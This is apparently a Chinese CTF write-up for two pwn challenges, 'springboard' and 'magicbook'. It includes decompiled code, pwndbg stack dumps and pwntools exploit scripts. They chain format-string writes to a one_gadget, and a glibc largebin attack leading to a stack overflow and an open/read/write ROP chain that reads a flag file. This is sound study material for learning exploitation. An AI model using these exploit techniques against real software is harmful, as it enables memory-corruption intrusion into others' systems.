springboard

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-4h]

myinit(argc, argv, envp);
puts("Life is not boring, dreams are not out of reach.");
puts("Sometimes you just need a springboard.");
puts("Then you can see a wider world.");
puts("There may be setbacks along the way.");
puts("But keep your love of life alive.");
puts("I believe that you will succeed.");
puts("Good luck.");
putchar(10);
puts("Here's a simple pwn question, challenge yourself.");
for ( i = 0; i <= 4; ++i )
{
puts("You have an 5 chances to get a flag");
printf("This is the %d time\n", (unsigned int)(i + 1));
puts("Please enter a keyword");
read(0, bss, 0x40uLL);
printf(bss);
}
return 0;
}

5次输入非格式化字符串,bss在0x0601089

1
2
3
4
5
6
7
8
yukon@yukon-virtual-machine:/mnt/hgfs/Desktop-2$ checksec springboard
[*] '/mnt/hgfs/Desktop-2/springboard'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fd000)
RUNPATH: b'/home/yukon/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64'

patch好之后断在printf看看栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Please enter a keyword
aaaa

Breakpoint 2, __printf (format=0x601089 <bss> "aaaa\n") at printf.c:28
28 in printf.c
pwndbg> stack 50
00:0000│ rsp 0x7fffffffdfe8 —▸ 0x40082f (main+200) ◂— add dword ptr [rbp - 4], 1
01:0008│ 0x7fffffffdff0 —▸ 0x7fffffffe0e0 ◂— 0x1
02:0010│ 0x7fffffffdff8 ◂— 0x0
03:0018│ rbp 0x7fffffffe000 —▸ 0x400840 (__libc_csu_init) ◂— push r15
04:0020│ 0x7fffffffe008 —▸ 0x7ffff7820840 (__libc_start_main+240) ◂— mov edi, eax
05:0028│ 0x7fffffffe010 —▸ 0x7fffffffe0e8 —▸ 0x7fffffffe3f6 ◂— '/mnt/hgfs/Desktop-2/springboard'
06:0030│ 0x7fffffffe018 —▸ 0x7fffffffe0e8 —▸ 0x7fffffffe3f6 ◂— '/mnt/hgfs/Desktop-2/springboard'
07:0038│ 0x7fffffffe020 ◂— 0x1f798c708
08:0040│ 0x7fffffffe028 —▸ 0x400767 (main) ◂— push rbp
09:0048│ 0x7fffffffe030 ◂— 0x0
pwndbg> fmtarg 0x7fffffffdff0
The index of format argument : 7 ("\%6$p")
pwndbg> fmtarg 0x7fffffffe008
The index of format argument : 10 ("\%9$p")
pwndbg> fmtarg 0x7fffffffe028
The index of format argument : 14 ("\%13$p")

因为printf没有在新的函数里调用,换句话说栈没有变,所以直接改main函数返回地址就行

第一次输入:泄露libc和bp

这里可以用一次输入来将01:0008,04:0020和08:0040位置的值泄露出来从而获得stack_addr,libc_base和elf_base

1
2
3
4
5
6
7
8
# 1
print(leak_content)
bp = int(leak_content[0], 16) - 0xe0
libc_base = int(leak_content[1], 16) - 240 - libc.sym['__libc_start_main']
elf_base = int(leak_content[2], 16) - 0x3767
lg("bp")
lg("libc_base")
lg("elf_base")

打了才发现没开pie,elf_base固定

第二次输入:构造二级指针->ret_addr

构造一个二级指针,指向返回地址

选择05:0028或者06:0030处的指针,将其修改为:

1
0x7fffffffe018 —▸ 0x7fffffffe0e8 —▸ 0x7fffffffe008 —▸ 0x7ffff7820840 (__libc_start_main+240) ◂— mov edi, eax
1
2
3
4
5
# 2
ret_addr = bp + 8
payload = f'%{ret_addr & 0xffff}c%10$hn\x00'.encode()
ru(b"Please enter a keyword")
sl(payload)

第三次输入:修改ret_addr低两位

利用二级指针的第二级,也就是下面的0x7ffe79a1c9c8来将0x7ffe79a1c9c8的低两位改为onegg

1
2
3
4
5
6
7
8
9
10
pwndbg> stack 40
00:0000│ rsp 0x7ffe79a1c8c8 —▸ 0x40082f (main+200) ◂— add dword ptr [rbp - 4], 1
01:0008│ 0x7ffe79a1c8d0 —▸ 0x7ffe79a1c9c0 ◂— 0x1
02:0010│ 0x7ffe79a1c8d8 ◂— 0x200000000
03:0018│ rbp 0x7ffe79a1c8e0 —▸ 0x400840 (__libc_csu_init) ◂— push r15
04:0020│ 0x7ffe79a1c9c8 —▸ 0x7f2fe5620840 (__libc_start_main+240) ◂— mov edi, eax
05:0028│ 0x7ffe79a1c8f0 —▸ 0x7ffe79a1c9c8 —▸ 0x7ffe79a1c8e8 —▸ 0x7f2fe5620840 (__libc_start_main+240) ◂— mov edi, eax
06:0030│ 0x7ffe79a1c8f8 —▸ 0x7ffe79a1c9c8 —▸ 0x7ffe79a1c8e8 —▸ 0x7f2fe5620840 (__libc_start_main+240) ◂— mov edi, eax
pwndbg> fmtarg 0x7ffe79a1c9c8
The index of format argument : 38 ("\%37$p")
1
2
3
4
5
6
7
# 3
onegg = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
onegg = onegg[3] + libc_base
lg("onegg")
payload = f'%{onegg & 0xffff}c%37$hn'
ru(b"Please enter a keyword")
sl(payload)

第四次输入:构造二级指针->ret_addr+2

1
2
3
4
# 4
payload = f'%{ret_addr + 2 & 0xffff}c%10$hn\x00'.encode()
ru(b"Please enter a keyword")
sl(payload)

第五次输入:修改ret_addr低四位

1
2
3
4
# 5
payload = f'%{(onegg >> 16) & 0xffff}c%37$hn'
ru(b"Please enter a keyword")
sl(payload)

远程的靶机有点问题,得用06:0030那个二级指针,就把上面所有%10$hn改为%11$hn就行

image-20240724031303564

写的比较简陋,有关非栈上格式化字符串的详细动调过程可以看yukon.icu/2024/02/04/fmt_bss

magicbook

largebin attack

先复习一下largebin attack,简单来说就是利用不同大小的largebin这个双向链表来通过任意地址写入堆地址,从而泄露heap_base的一种操作

largebin与其他chunk的主要不同是fd_nextsizebk_nextsize指针的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

需要注意的几点:
1.相同大小的chunk中,只有首chunk的fd_nextsize和bk_nextsize才有具体值,之后的全按0处理,通过正常的fd和bk链接,按free时间前后来排序(除了tcachebin以外,都是FIFO)
2.不同大小的chunk通过fd_nextsize和bk_nextsize链接,链条分配是按从大到小排序的

先介绍一下largebin attack的主要思想:

image-20240724031303564

首先,同大小的largebin是双向列表,并且存在一个漏洞,当我们释放的largebin比最后一个largebin的大小还小时,会将其置入链表末端,当我们释放的largebin比第一个largebin的大小还大时,会根据下面的代码将victim放到chunk和fwd(表头)中间

1
2
3
4
5
6
7
8
9
10
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

注意看这两行代码:

1
2
victim->bk_nextsize->fd_nextsize = victim;
bck->fd = victim;

1.如果我们将fwd位置的chunk的bk修改为target_addr - 0x10的话,fwd->bk(bck)的fd指针就是target_addr,根据bck->fd = victim;就能完成在target_addr处写入victim也就是heap的地址
2.如果我们将fwd的chunk的bk_nextsize修改为target_addr - 0x20的话,fwd->bk_nextsize(victim->bk_nextsize)的fd_nextsize指针就是target_addr,根据victim->bk_nextsize->fd_nextsize = victim;就能完成在target_addr处写入victim的地址

这两个操作的效果是相同的

接下来就看这题是怎么利用的

ida

1
2
3
4
5
6
7
$ checksec magicbook
[*] '/mnt/hgfs/Desktop-2/magicbook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled持续更新中>>>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
sandbox();
menu1();
dest = malloc(0x100uLL);
while ( 1 )
{
book = (unsigned __int16)book; // 低两位,为了出largebin attack而出题
menu2();
__isoc99_scanf("%d", &v3);
if ( v3 == 4 )
exit(0);
if ( v3 > 4 )
{
LABEL_12:
puts("Invalid choice");
}
else
{
switch ( v3 )
{
case 3:
edit_the_book();
break;
case 1:
creat_the_book();
break;
case 2:
delete_the_book();
break;
default:
goto LABEL_12;
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int menu2()
{
if ( (unsigned int)d >= 2 )
{
puts("nonono");
exit(0);
}
puts("what do you want to do?");
puts("1.creat a book");
puts("2.delete a book");
puts("3.edit a book");
puts("4.exit");
return puts("Your choice:");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
size_t creat_the_book()
{
size_t v0; // rbx
size_t size[2]; // [rsp+Ch] [rbp-14h] BYREF

if ( book > 5 )
{
puts("full!!");
exit(0);
}
printf("the book index is %d\n", book);
puts("How many pages does your book need?");
LODWORD(size[0]) = 0;
__isoc99_scanf("%u", size);
if ( LODWORD(size[0]) > 0x500 )
{
puts("wrong!!");
exit(0);
}
v0 = book;
p[v0] = malloc(LODWORD(size[0]));
return ++book;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
__int64 delete_the_book()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch] BYREF
char buf[8]; // [rsp+8h] [rbp-8h] BYREF

puts("which book would you want to delete?");
__isoc99_scanf("%d", &v2);
if ( v2 > 5 || !*(&p + v2) )
{
puts("wrong!!");
exit(0);
}
free(*(&p + v2));
puts("Do you want to say anything else before being deleted?(y/n)");
read(0, buf, 4uLL);
if ( d && (buf[0] == 89 || buf[0] == 121) )
{
puts("which page do you want to write?");
__isoc99_scanf("%u", &v1);
if ( v1 > 4 || !*(&p + v2) )
{
puts("wrong!!");
exit(0);
}
puts("content: ");
read(0, (*(&p + v1) + 8LL), 0x18uLL);
--d;
return 0LL;
}
else
{
if ( d )
puts("ok!");
else
puts("no ways!!");
return 0LL;
}
}

5次申请chunk的机会,delete中有给了一次在堆地址+8的的位置写0x18字节的功能,能够覆盖到fd_nextsize和bk_nextsize,可以完成largebin attack

1
2
3
4
5
6
7
8
9
10
void *edit_the_book()
{
size_t v0; // rax
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("come on,Write down your story!");
read(0, buf, book); // &book = $rebase(0x4050) // bss
v0 = strlen(buf);
return memcpy(dest, buf, v0);
}

book值是一个全局变量,只能根据申请最大堆块数量而变化,常规的最大值为5,无法进行堆利用,我们将book处写入victim的地址,由于buf在栈上,所以这样就可以构造出一个栈溢出,后面打rop的orw即可

1
2
3
4
5
6
7
8
9
10
11
12
ru(b"give you a gift: ")
elf_base = int(io.recv(14), 16) - 0x4010
lga("elf_base")

add(0x450) # 0
add(0x440) # 1
add(0x440) # 2
delete(0)
add(0x498) # 3
delete(2, b"y")
sla(b'write?\n', b'0')
sa(b'content: \n', p64(0)*2+p64(elf_base+0x4050-0x20))

用0 2两个chunk完成largebin attack,1 3防止合并,然后利用delete中可以编辑的0x18字节将bk_nextsize改成book的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ret = elf_base + 0x000000000000101a
pop_rdi = elf_base + 0x0000000000001863
puts_got = elf_base + elf.got['puts']
puts_plt = elf_base + elf.plt['puts']
edit_addr = elf_base + elf.sym['edit_the_book']
lga("ret")
lga("pop_rdi")
lga("puts_got")
lga("puts_plt")
lga("edit_addr")

payload = b'a' * 0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(edit_addr)
edit(payload)
libc_base = uu64() - libc.sym["puts"]
lga("libc_base")

open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]
pop_rsi = libc_base + 0x000000000002be51
pop_rdx_r12_ret = libc_base + 0x000000000011f497
lga("pop_rdx_r12_ret")

payload = b'a' * 0x28
payload += flat([pop_rdi, 0, pop_rsi, elf_base + elf.bss() + 0x100, pop_rdx_r12_ret, 0x10, 0, read_addr])
payload += flat([pop_rdi, elf_base + elf.bss() + 0x100, pop_rsi, 0, pop_rdx_r12_ret, 0, 0, open_addr])
payload += flat([pop_rdi, 3, pop_rsi, elf_base + elf.bss() + 0x200, pop_rdx_r12_ret, 0x30, 0, read_addr])
payload += flat([pop_rdi, 1, pop_rsi, elf_base + elf.bss() + 0x200, pop_rdx_r12_ret, 0x30, 0, write_addr])

ru(b"come on,Write down your story!")
# gdb.attach(io, "b *$rebase(0x1638)")
sl(payload)
sleep(0.1)
s(b'./flag\x00\x00')